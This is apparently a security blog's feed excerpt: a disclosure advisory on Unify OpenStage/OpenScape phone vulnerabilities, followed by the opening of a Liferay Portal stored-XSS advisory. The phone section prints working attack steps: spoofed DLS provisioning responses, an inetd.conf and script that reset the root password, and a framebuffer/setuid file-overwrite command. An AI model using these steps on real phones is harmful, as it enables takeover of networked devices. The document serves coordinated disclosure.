&lt;p&gt;The attacker can now connect to the phone via a secure shell as an admin user with the password 123456. No authentication was needed to get here.&lt;/p&gt;
&lt;pre class="literal-block"&gt;ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oMACs=+hmac-sha1 admin@PHONEIP&lt;/pre&gt;
&lt;p&gt;In the OpenStage 80 version 2.2.47.0000 it was not possible to enable SSH directly. But using the malicious DLS server an attacker can change the admin password for the web interface of the phone if it was changed from the default password 123456. The process is similar to enabling SSH as seen above, but the content of the item list in the response of the DLS server needs to be changed to the following line.&lt;/p&gt;
&lt;pre class="literal-block"&gt;&amp;lt;Item name="admin-pwd"&amp;gt;123456&amp;lt;/Item&amp;gt;&lt;/pre&gt;
&lt;p&gt;Alternatively, an attacker could factory reset the phone via DLS to reset the admin password to 123456 automatically. Therefore, the attacker sends this message as response of the DLS server:&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.0 200 OK
Content-length: 244

&amp;lt;DLSMessage&amp;gt;
     &amp;lt;Message nonce="7AA535AE3483E8380B9338C733D6A934"&amp;gt;
             &amp;lt;Action&amp;gt;Restart&amp;lt;/Action&amp;gt;
     &amp;lt;/Message&amp;gt;
     &amp;lt;ItemList&amp;gt;
             &amp;lt;Item name="restart-password"&amp;gt;124816&amp;lt;/Item&amp;gt;
             &amp;lt;Item name="restart-type"&amp;gt;FactoryReset&amp;lt;/Item&amp;gt;
     &amp;lt;/ItemList&amp;gt;
 &amp;lt;/DLSMessage&amp;gt;&lt;/pre&gt;
&lt;p&gt;Within this message, a factory reset password must be included in the message. It is a &lt;a class="reference external" href="https://wiki.unify.com/wiki/OpenScape_Desk_Phone_CP_FAQ"&gt;documented and publicly known&lt;/a&gt;  value. A factory reset will reboot the phone.&lt;/p&gt;
&lt;p&gt;Having admin access to the web interface, an attacker can now enable SSH as well. If the web interface was disabled, it can be reenabled via a malicious DLS message using the following item.&lt;/p&gt;
&lt;pre class="literal-block"&gt;&amp;lt;Item name="enable-WBM"&amp;gt;True&amp;lt;/Item&amp;gt;&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs access to the local network and must be able to connect the WPI interface. The phone does not verify the DLS server.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="phone-does-not-verify-tls-certificate-of-dls-server-per-default"&gt;
&lt;h2&gt;2.  Phone does not verify TLS certificate of DLS server per default&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 4.3 Medium&lt;/pre&gt;
&lt;section id="affected-components-1"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 40  Version 3.5.21.0000 (Released: 2020-09-21)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 80  Version 3.3.24.0000 (Released: 2014-10-10)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.6.0000&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.11.0000&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary-1"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The phone does not verify the TLS certificate when connecting to the DLS server, with standard settings.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-1"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;This allows man-in-the-middle attackers to spoof a DLS connection. An attackers could also host their own DLS server with an arbitrary certificate. The phone connects to a malicous DLS server and accepts configuration.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-1"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;During the analysis it has been observed that the phone connects to DLS server, even if the server does not use a certificate that is signed by a trusted certificate authority. Instead, self-signed certificates are accepted. The phone’s debug log in &lt;code class="docutils literal"&gt;/tmp/logs/messages&lt;/code&gt; even logs that it is accepting the certificate.&lt;/p&gt;
&lt;pre class="literal-block"&gt;SvcConfig: Certificate verification error (9:certificate is not yet valid) at depth (0), ssl (0x9c2028)
Sep 29 11:27:34 (none) user.err SvcConfig: Certificate issuer  =C = AU, ST = Some-State, O = Internet Widgits Pty Ltd
[…]
Sep 29 11:27:34 (none) user.debug SvcConfig: isVerificationSuccessful: caPath =
Sep 29 11:27:34 (none) user.notice SvcConfig: Allowed HTTPS Not Yet Valid Certificate: /C=AU/ST=Some-State/O=Internet Widgits Pty Ltd
Sep 29 11:27:34 (none) user.debug SvcConfig: SecureTransportContext::deleteVerifyError for 0x9c2028&lt;/pre&gt;
&lt;p&gt;The log indicates that certificates is not valid, but allowed.&lt;/p&gt;
&lt;p&gt;The phone's web interface defines authentication policies under Security and policies -&amp;gt; Certificates -&amp;gt; Authentication policy, but changing them does not solve the problem described in finding 1 and 2.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-1"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs to prompt the phone to contact a server without a valid certificate. Therefore, the attacker needs to be in the same network as the VoIP phone.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="secure-shell-privilege-escalation-to-root-via-writeable-files-and-directories"&gt;
&lt;h2&gt;3.  Secure Shell privilege escalation to root via writeable files and directories&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, 6.7 Medium&lt;/pre&gt;
&lt;section id="affected-components-2"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 40  Version 3.5.21.0000 (Released: 2020-09-21)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenStage 80  Version 3.3.24.0000 (Released: 2014-10-10)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.6.0000&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.11.0000&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary-2"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;A remote attacker with Secure Shell access as &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user is able to abuse improper file permissions to change system-relevant files.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-2"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker can escalate privileges in order to gain permanent &lt;code class="docutils literal"&gt;root&lt;/code&gt; access on the phone.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-2"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;For example, the &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user has write access to the &lt;code class="docutils literal"&gt;/etc/inetd.conf&lt;/code&gt; file and can add a script that gets executed with &lt;code class="docutils literal"&gt;root&lt;/code&gt; privileges when the phone starts. In this example, the script &lt;code class="docutils literal"&gt;test&lt;/code&gt; was added to the system and written to &lt;code class="docutils literal"&gt;/usr/local/bin/&lt;/code&gt;.&lt;/p&gt;
&lt;pre class="literal-block"&gt;telnet       stream  tcp     nowait  root    /usr/sbin/telnetd       telnetd
ftp          stream  tcp     nowait  root    /usr/sbin/ftpd          ftpd
test         stream  tcp     nowait  root    /usr/local/bin/test     test&lt;/pre&gt;
&lt;p&gt;The admin user then creates the following executable &lt;code class="docutils literal"&gt;/usr/local/bin/test&lt;/code&gt; script. The script changes the &lt;code class="docutils literal"&gt;root&lt;/code&gt; user's password and starts the dropbear service without parameters.&lt;/p&gt;
&lt;pre class="literal-block"&gt;#!/bin/sh
/Opera_Deploy/setPasswd.sh root 123456
/usr/sbin/dropbear&lt;/pre&gt;
&lt;p&gt;In order to reload the inetd config and execute the test script on connect, the phone needs to reboot. The attacker can use a malicious DLS server as described in finding 1 to send the following response.&lt;/p&gt;
&lt;pre class="literal-block"&gt;HTTP/1.0 200 OK
Content-length: 121

&amp;lt;DLSMessage&amp;gt;
     &amp;lt;Message nonce="7AA535AE3483E8380B9338C733D6A934"&amp;gt;
             &amp;lt;Action&amp;gt;Restart&amp;lt;/Action&amp;gt;
     &amp;lt;/Message&amp;gt;
&amp;lt;/DLSMessage&amp;gt;&lt;/pre&gt;
&lt;p&gt;After the reboot, the attacker can permanently connect to the phone via SSH as &lt;code class="docutils literal"&gt;root&lt;/code&gt;. The regular invocation of the Dropbear SSH server uses the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;-w&lt;/span&gt;&lt;/code&gt; parameter, which prevents connections for the &lt;code class="docutils literal"&gt;root&lt;/code&gt; user, but here the SSH server is started without this restriction.&lt;/p&gt;
&lt;p&gt;The following files have improper file permission, which could be used for privilege escalation:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;/usr/sbin/stunnel&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;/etc/inetd.conf&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Depending on the phone's firmware version, there are more files and directories with problematic file permissions. Further above, the directory &lt;code class="docutils literal"&gt;/usr/local/bin/&lt;/code&gt; was mentioned to be writeable by the default shell user &lt;code class="docutils literal"&gt;admin&lt;/code&gt;. Files in this directory belong the &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ ls -l /usr/local/
drwxrwxr-x    2 admin    admin          296 Dec 25 02:54 bin
drwxrwxr-x    2 admin    admin          368 Dec 25 02:54 sbin&lt;/pre&gt;
&lt;p&gt;Depending on the firmware version and model, the directory &lt;code class="docutils literal"&gt;/usr/local/bin/&lt;/code&gt; is part of the &lt;code class="docutils literal"&gt;PATH&lt;/code&gt; environment variable and this directory has precedence over other directories, for example on an OpenStage 40 SIP:&lt;/p&gt;
&lt;pre class="literal-block"&gt;# id
uid=0(root) gid=0(root) groups=0(root),10(wheel)
# echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/sbin:/usr/sbin:/sbin:/Opera_Deploy&lt;/pre&gt;
&lt;p&gt;Another method for the elevation of privileges is to add a file &lt;code class="docutils literal"&gt;chpasswd&lt;/code&gt; there, which is then executed on password change. This password change can be triggered with the method from finding 1 and there is no need to reboot the phone.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-2"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs SSH access to the phone.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="writeable-framebuffer"&gt;
&lt;h2&gt;4.  Writeable framebuffer&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:L, 3.4 Low&lt;/pre&gt;
&lt;section id="affected-components-3"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.9.5.0002&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.9.0001&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.6.0000&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.11.0000&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary-3"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;An attacker with Secure Shell access as the Linux user &lt;code class="docutils literal"&gt;admin&lt;/code&gt; is able to write into the framebuffer device.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-3"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker can change the display content of the phone. Being able to specify the framebuffer content allows crafting specific content for the attack in finding 5.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-3"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;Using SSH, the admin user can write arbitrary data into the framebuffer, because the frambuffer device is writeable:&lt;/p&gt;
&lt;pre class="literal-block"&gt;$ ls -l /dev/fb0
crw-rw-rw-    1 root     root       29,   0 Dec 25 04:25 /dev/fb0
$ echo AAAAAAAAAAAAAAAAAAAA &amp;gt; /dev/fb0&lt;/pre&gt;
&lt;p&gt;An attacker could show false information on the display with a well-crafted and timed payload.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-3"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs code execution permission on the phone, for example via SSH access.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="openscape-secure-shell-privilege-escalation-to-root-via-setuid-programs"&gt;
&lt;h2&gt;5. OpenScape – Secure Shell Privilege escalation to root via SetUID programs&lt;/h2&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H, 6.7 Medium&lt;/pre&gt;
&lt;section id="affected-components-4"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;Pentagrid identified the following devices and firmware versions to be affected. Please refer to the Unify advisory OBSO-2312-01 for a detailled list of affected devices and firmware versions.&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 400 Version 1.10.2.0002 (Released: 2023-04-04)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 210 Version 2.0.11.0000 (Released: 2023-06-26)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.6.0000&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Unify OpenScape 710 Version 2.0.11.0000&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="summary-4"&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;An attacker with Secure Shell access as &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user is able to abuse SetUID permissions to change system-relevant files.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="impact-4"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;An attacker can escalate privileges in order to gain permanent &lt;code class="docutils literal"&gt;root&lt;/code&gt; access on the phone.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details-4"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;The following files have the SUID bit set:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;/sbin/fw_printenv&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code class="docutils literal"&gt;/Opera_Deploy/appWeb/web/fbshot.exe&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The files are owned by the &lt;code class="docutils literal"&gt;root&lt;/code&gt; user and therefore get executed with &lt;code class="docutils literal"&gt;root&lt;/code&gt; privileges even when run by the &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user.&lt;/p&gt;
&lt;p&gt;The &lt;code class="docutils literal"&gt;fbshot.exe&lt;/code&gt; creates a screenshot of the display. It takes the content of the framebuffer and creates a BMP file. The &lt;code class="docutils literal"&gt;/dev/fb&lt;/code&gt; framebuffer is used as default, but it is possible to specify another framebuffer device as a parameter. As seen in finding 4, the &lt;code class="docutils literal"&gt;admin&lt;/code&gt; user can write into &lt;code class="docutils literal"&gt;/dev/fb0&lt;/code&gt;. Using the SetUID program &lt;code class="docutils literal"&gt;fbshot.exe&lt;/code&gt;, it is possible to overwrite arbitrary files on the system, which has a Denial of Service effect.&lt;/p&gt;
&lt;p&gt;While the output files are BMP files in the first place. However, by carefully crafting a buffer, writing the buffer to the framebuffer and using the framebuffer screenshot tool, is is also possible to write files that are more or less valid script files. As long as the attacker-specified code is run, it does not matter if the script fails with a syntax error afterwards, for example due to unbalanced brackets on a line.&lt;/p&gt;
&lt;p&gt;Payloads depend on the frambeuffer size and are therefore device-specific. A possible payload for a CP210 is:&lt;/p&gt;
&lt;pre class="literal-block"&gt;/home/admin/myscript
#AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)&lt;/pre&gt;
&lt;p&gt;The attacker creates a file containing this payload, dumps it into the framebuffer and uses the &lt;code class="docutils literal"&gt;fbshot.exe&lt;/code&gt;. Because of its SUID bit, even files belonging to the &lt;code class="docutils literal"&gt;root&lt;/code&gt; user and a privileged group can be overwritten.&lt;/p&gt;
&lt;pre class="literal-block"&gt;cat payload &amp;gt; /dev/fb0 ; /Opera_Deploy/appWeb/web/fbshot.exe /sbin/fw_printenv&lt;/pre&gt;
&lt;p&gt;The &lt;code class="docutils literal"&gt;/sbin/fw_printenv&lt;/code&gt; file is now a BMP file which includes the payload. The program file's flags and ownership is preserved. The file still has the SetUID bit set. With the specific framebuffer content, the BMP is a valid script and will run &lt;code class="docutils literal"&gt;/home/admin/myscript&lt;/code&gt;. After a reboot the phone executes the &lt;code class="docutils literal"&gt;/sbin/fw_printenv&lt;/code&gt; and in consequence &lt;code class="docutils literal"&gt;/home/admin/myscript&lt;/code&gt; as &lt;code class="docutils literal"&gt;root&lt;/code&gt;. In order to gain permanent &lt;code class="docutils literal"&gt;root&lt;/code&gt; access the &lt;code class="docutils literal"&gt;myscript&lt;/code&gt; file can be defined as follows:&lt;/p&gt;
&lt;pre class="literal-block"&gt;#!/bin/sh
/Opera_Deploy/setPasswd.sh root 123456
dropbear&lt;/pre&gt;
&lt;p&gt;Using a well-crafted payload and replacing the right files, an attacker might be able to gain &lt;code class="docutils literal"&gt;root&lt;/code&gt; access without a proxy &lt;code class="docutils literal"&gt;myscript&lt;/code&gt; file and without rebooting.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition-4"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;An attacker needs code execution permission on the phone, for example via SSH access.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
&lt;section id="proof-of-concept-exploit"&gt;
&lt;h2&gt;Proof of concept exploit&lt;/h2&gt;
&lt;p&gt;Pentagrid developed a proof of concept exploit, which is published on &lt;a class="reference external" href="https://github.com/pentagridsec/openstage-exploit-chain"&gt;Github&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Pentagrid recommends to update to a recent firmware version as documented in Unify's advisory &lt;a class="reference external" href="https://networks.unify.com/security/advisories/OBSO-2312-01.pdf"&gt;OBSO-2312-01&lt;/a&gt;. Furthermore, it is necessary to enable the so-called "secure mode", which activates certificate verification. Just activating all possible certificate checks via the web-based management does not activate the secure mode. It requires to set up a DLS, install a certificate authority, deploy certificates to phones and then to enable the secure mode.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been found by Michael Oelke and Martin Schobert (Pentagrid).&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/rce-and-local-root-in-openstage-and-openscape-phones/</guid><pubDate>Fri, 08 Dec 2023 05:42:00 GMT</pubDate></item><item><title>Persistent cross-site scripting vulnerabilities in Liferay Portal</title><link>https://www.pentagrid.ch/de/blog/stored-cross-site-scripting-vulnerabilities-in-liferay-portal/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;In 2023 we found multiple vulnerabilities in Liferay Portal, a digital experience platform for enterprise websites. It is a free and open-source software project. A few thousand installations on the Internet not suppressing the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;Liferay-Portal&lt;/span&gt;&lt;/code&gt; HTTP response header can be found via special purpose search engines.&lt;/p&gt;
&lt;p&gt;The Liferay Portal in the Community Version is the foundation for the web interface of Liechtenstein's electronic health portal. That's the reason we got involved with the portal software – not as a customer pentest project, but out of interest. We wrote a &lt;a class="reference external" href="https://www.pentagrid.ch/de/blog/it-sicherheit-beim-elektronischen-gesundheitsdossier-im-fuerstentum-liechtenstein/"&gt;blog post about the Liechtenstein's electronic health portal&lt;/a&gt; (blog post is in German). We reported our findings regarding the Liferay Portal to Liferay in order to get them addressed. Now we are releasing technical details about the vulnerabilities.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;p&gt;Another vulnerability we mentioned in the health portal is a Denial of Service attack, where a nested Graph QL query is not restricted by the portal and which consumes available resources leading to a Denial of Service. This vulnerability is known to Liferay.&lt;/p&gt;
&lt;p&gt;Just so there are no misunderstandings: We did not try to use these vulnerabilities against Liechtenstein's electronic health portal.&lt;/p&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;Cross-Site-Scripting (XSS) allows an attacker to execute JavaScript in the attacked origin, enabling them to act as the exploited user of the website. A &lt;em&gt;stored&lt;/em&gt; XSS is persistently contained in the application itself, waiting for the victim to trigger it.&lt;/p&gt;
&lt;p&gt;While the below Cross-Site Scripting issues are all caused by missing output encoding, their impact varies greatly. The first XSS (CVE-2023-42627) can be triggered by a shop customer, meaning any person on the Internet, and is then only executed when a shop administrator visits the customer's address in the shop's administrative web interface. This is a perfect attack vector for an attacker to control the entire Liferay installation or at least the permissions of the visiting shop administrator. Therefore, we would rate this XSS as a high impact XSS.&lt;/p&gt;
&lt;p&gt;However, the second to fourth XSS (CVE-2023-42627, CVE-2023-42628, CVE-2023-42629) can only be triggered by an administrator (or at least someone having the appropriate role/permission) by changing certain settings of Liferay. While the execution of HTML/JavaScript is not intended behavior and the proper output encoding is missing, the attack vector in this case is less attractive for an attacker, because the attacker can often not fulfil this precondition of having certain administrative permissions. Although Pentagrid is not aware of the entire role concept/permission model of Liferay, it is assumed that in most cases this only allows a user with certain administrator permissions to attack a user with other administrator permissions. As administrators in general control web page content (especially in Liferay where they can even get a groovy shell on the underlying server), we would rate these three XSS issues as informational or low impact. The CVSS version 3.1 scores can only model this attack vector in the "privilege required" attribute and therefore does not fully reflect the elaborated difference.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2023-07-13: Initial contact of Liferay and report of XSS vulnerability in shipping address field to &lt;a class="reference external" href="mailto:security@liferay.com"&gt;security@liferay.com&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Report of an XSS vulnerability in wiki child pages via E-mail.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-17: Liferay replied that they verified the vulnerability and will notify after a patch is released.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-18: Report of an XSS vulnerability in country region field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-07-19: Report of an XSS vulnerability in vocabulary descriptions field.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-11: Feedback from Liferay that the vocabulary XSS is fixed in version 7.4.3.88.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-09-12: Liferay communicated CVE-IDs assigned to vulnerabilities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-13: Liferay reported a status about all fixes.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: Public release of advisory after 90 days after the last reported XSS.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42629: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42629"&gt;their advisory on CVE-2023-42629&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42628: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42628"&gt;their advisory on CVE-2023-42628&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.0.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2023-10-17: CVE-2023-42627: Liferay publishes &lt;a class="reference external" href="https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-42627"&gt;their advisory on CVE-2023-42627&lt;/a&gt; and rates the vulnerability with a CVSS 3.1 score of 9.6.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;These vulnerabilities have been observed in the Liferay Community Edition Portal version 7.4.3.84.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;section id="persistent-cross-site-scripting-vulnerability-via-billing-and-shipping-addresses-cve-2023-42627"&gt;
&lt;h3&gt;1.  Persistent cross-site scripting vulnerability via billing and shipping addresses  (CVE-2023-42627)&lt;/h3&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L, 8.3 High&lt;/pre&gt;
&lt;p&gt;When submitting an order, an attacker can inject malicious payloads. The following fields are vulnerable for both shipping and billing data: &lt;code class="docutils literal"&gt;address&lt;/code&gt;, &lt;code class="docutils literal"&gt;address2&lt;/code&gt;, &lt;code class="docutils literal"&gt;address3&lt;/code&gt;, &lt;code class="docutils literal"&gt;city&lt;/code&gt; and &lt;code class="docutils literal"&gt;zip&lt;/code&gt;. See the following example which uses the &lt;em&gt;Speedwell&lt;/em&gt; theme.&lt;/p&gt;
&lt;img alt="XSS payloads in the shipping address fields." class="align-center" src="https://www.pentagrid.ch/images/202310_liferay_shipping_payloads.png"&gt;
&lt;p&gt;The corresponding HTTP request for injection via the shipping address is:&lt;/p&gt;
